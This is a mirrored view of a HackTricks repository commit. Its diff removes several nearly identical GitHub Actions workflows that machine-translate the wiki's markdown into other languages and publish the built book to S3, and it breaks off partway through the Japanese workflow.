mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/libc-heap/fast-bin-attack.md', 'src
This commit is contained in:
parent
18d404bdea
commit
ca6f699624
119
.github/workflows/translate_af.yml
vendored
119
.github/workflows/translate_af.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to AF (Afrikaans)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: af
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Afrikaans
|
|
||||||
BRANCH: af
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_de.yml
vendored
119
.github/workflows/translate_de.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to DE (German)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: de
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: German
|
|
||||||
BRANCH: de
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_el.yml
vendored
119
.github/workflows/translate_el.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to EL (Greek)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: el
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Greek
|
|
||||||
BRANCH: el
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_es.yml
vendored
119
.github/workflows/translate_es.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to ES (Spanish)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: es
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Spanish
|
|
||||||
BRANCH: es
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_fr.yml
vendored
119
.github/workflows/translate_fr.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to FR (French)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: fr
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: French
|
|
||||||
BRANCH: fr
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_it.yml
vendored
119
.github/workflows/translate_it.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to IT (Italian)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: it
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Italian
|
|
||||||
BRANCH: it
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_ja.yml
vendored
119
.github/workflows/translate_ja.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to JA (Japanese)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: ja
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Japanese
|
|
||||||
BRANCH: ja
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
